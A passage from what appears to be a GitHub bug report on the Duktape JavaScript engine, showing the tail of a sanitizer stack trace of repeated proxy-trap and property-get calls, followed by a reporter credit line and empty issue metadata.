    #234 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #235 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #236 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #237 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #238 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #239 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #240 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #241 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #242 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #243 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #244 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #245 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #246 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #247 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #248 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #249 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #250 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #251 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #252 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #253 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #254 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #255 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #256 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #257 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #258 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #259 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #260 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #261 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #262 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #263 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #264 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #265 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #266 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #267 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #268 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #269 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #270 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #271 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #272 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #273 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #274 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #275 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #276 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #277 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #278 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #279 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #280 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #281 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #282 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #283 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #284 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9
    #285 0x555555674eb6 in duk_prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1654:8
    #286 0x55555567c430 in duk_get_prop_stridx /home/kali/JSEs/duktape-latest/duk_api_object.c:116:9
    #287 0x5555556aeacb in duk_get_prop_stridx_short_raw /home/kali/JSEs/duktape-latest/duk_api_object.c:120:9
    #288 0x5555556aea3e in duk__proxy_trap_check /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:46:9
    #289 0x5555556b6acd in duk_proxy_trap_check_strkey /home/kali/JSEs/duktape-latest/duk_hobject_proxy.c:71:9
    #290 0x5555557d1b97 in duk__get_own_prop_strkey_proxy_actual /home/kali/JSEs/duktape-latest/duk_prop_get.c:463:6
    #291 0x5555557d1fb2 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1332:12
    #292 0x5555557d1fb2 in duk__prop_get_strkey_safe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1402:9
    #293 0x5555557d7357 in duk__prop_get_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_get.c:1385:10
    #294 0x5555557d7357 in duk__prop_get_strkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_get.c:1396:9
    #295 0x5555557d6c07 in duk__prop_get_str /home/kali/JSEs/duktape-latest/duk_prop_get.c:1411:9
    #296 0x5555557cfd68 in duk__prop_getvalue_strkey_outidx /home/kali/JSEs/duktape-latest/duk_prop_get.c:1624:9

Credit:
Bruno G Oliveira

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions